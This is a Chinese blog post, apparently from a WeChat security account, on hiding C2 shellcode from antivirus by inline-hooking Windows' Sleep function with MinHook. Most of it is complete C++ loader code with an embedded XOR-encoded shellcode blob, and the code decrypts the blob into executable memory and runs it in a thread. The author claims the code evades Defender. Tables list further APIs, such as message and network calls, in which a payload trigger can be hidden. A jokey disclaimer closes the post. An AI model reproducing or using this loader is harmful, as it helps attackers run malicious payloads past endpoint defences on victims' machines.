关于 Inline Hook 相关概念和环境准备详见上篇文章 【免杀】C2免杀技术(十三)Inline Hook 前置篇 ,本文主要演示该技术的免杀效果
这里还拿之前文章里的xor加密(DF查杀)代码来做,原始代码详见 【免杀】C2免杀技术(四)shellcode分离加载
1、改造成 Inline Hook,使用MinHook框架,Hook sleep函数,代码如下
// ── XOR Key
unsigned char xor_key[] = { 'k','u','n' };
const size_t key_len = sizeof(xor_key);
// ── XOR-加密的 shellcode(请替换为真实载荷)
unsigned char encoded_shellcode[] = "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41";
size_t shellcode_len = sizeof(encoded_shellcode);
// ── 原始 Sleep 原型
using Sleep_t = VOID(WINAPI*)(DWORD);
Sleep_t fpSleep = nullptr;
// ── Hook 函数
VOID WINAPI MyHookSleep(DWORD ms)
{
static bool done = false;
if (!done)
{
done = true;
LPVOID mem = VirtualAlloc(nullptr, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (mem)
{
memcpy(mem, encoded_shellcode, shellcode_len);
for (size_t i = 0; i < shellcode_len; ++i)
((unsigned char*)mem)[i] ^= xor_key[i % key_len];
HANDLE h = CreateThread(nullptr, 0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(mem),
nullptr, 0, nullptr);
if (h) { WaitForSingleObject(h, INFINITE); CloseHandle(h); }
SecureZeroMemory(mem, shellcode_len);
VirtualFree(mem, 0, MEM_RELEASE);
}
}
// 继续原始 Sleep
fpSleep(ms);
}
intmain()
{
// 1) 初始化 MinHook
if (MH_Initialize() != MH_OK) { return 1; }
// 2) 更安全的做法:用“官方” API 名称创建 Hook
if (MH_CreateHookApi(L"kernel32", "Sleep",
&MyHookSleep,
reinterpret_cast<LPVOID*>(&fpSleep)) != MH_OK)
{
return 1;
}
MH_EnableHook(MH_ALL_HOOKS);
// 3) 触发
Sleep(1000); // 第一次调用 → 解密并运行载荷
Sleep(500); // 后续不再触发
MH_Uninitialize();
return 0;
}
2、代码很简单,编译出来,放到DF上,实现免杀!
3、图解执行路径
main() →
MH_Initialize() → MH_CreateHookApi("Sleep") →
修改 Sleep 的入口:jmp MyHookSleep
↓
Sleep(1000)
↓
MyHookSleep()
↓
VirtualAlloc() → memcpy → XOR 解密 →
CreateThread(执行 shellcode) →
SecureZeroMemory + VirtualFree →
fpSleep(ms) ← 调回原始 Sleep
↓
Sleep(500)
↓
fpSleep(ms) ← 已不再走解密路径
策略思路:Hook“没人怀疑你会藏东西的地方”
1、用户输入相关(常见但低风险)
藏在用户活动期间执行(例如点击窗口、鼠标滑动时)
|
|
---|---|
GetMessageA/W |
|
PeekMessageA/W |
|
DispatchMessageA/W |
|
TranslateMessage |
|
2、网络通信相关(流量沙箱检测绕过)
C2 客户端上线后再触发载荷,例如 shellcode 挂在 recv
中解密执行。
|
|
---|---|
WSARecv
recv |
|
send
WSASend |
|
InternetReadFile |
|
3、文件/进程操作相关(高级操作才能触发)
只有在程序执行某些“高权限行为”时才触发核心逻辑。
|
|
---|---|
CreateFileW/A |
|
WriteFile
ReadFile |
|
NtOpenProcess |
|
CreateProcessW/A |
|
进阶伪装策略
So easy,诸位自行探索
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
对比动态 API
Inline Hook 同动态 API 一样,都是对 Windows API 做文章,但是区别很大:一个藏起来,一个劫持它!动态 API 更注重“隐身调用”,对抗静态检测;Inline Hook 更注重“行为劫持”,实现执行流程控制或中间人插入。
|
|
|
---|---|---|
定义 |
|
GetProcAddress 加载 API,避免硬编码。 |
操作层级 |
|
|
主要用途 |
|
|
使用复杂度 |
|
LoadLibraryA / GetProcAddress 即可。 |
抗检测能力 |
|
|
典型应用场景 |
NtCreateFile 实现文件隐藏) |
VirtualAlloc 执行 shellcode) |
实现开销 |
|
|
抗静态查杀能力 |
|
|
本文免责声明
本文所涉及的技术内容,纯属技术研究与安全学习交流之用。请务必别拿去干坏事,不然出问题了,别来找我——我不会背锅的!
简单点说:👉 看了本文去练技术,不犯法我们是朋友;👉 看了本文去搞破坏,进去了咱也爱莫能助!
因使用、传播或“脑洞过大”地运用本公众号“仇辉攻防”所发布的信息,所造成的一切后果与损失,全由您自己负责!本公众号和作者既不负责、也不赔钱、更不探监!
最后友情提示:
网络世界虽精彩,法律红线不能踩!技术无罪,使用请善良!
原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(十四)Inline Hook
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论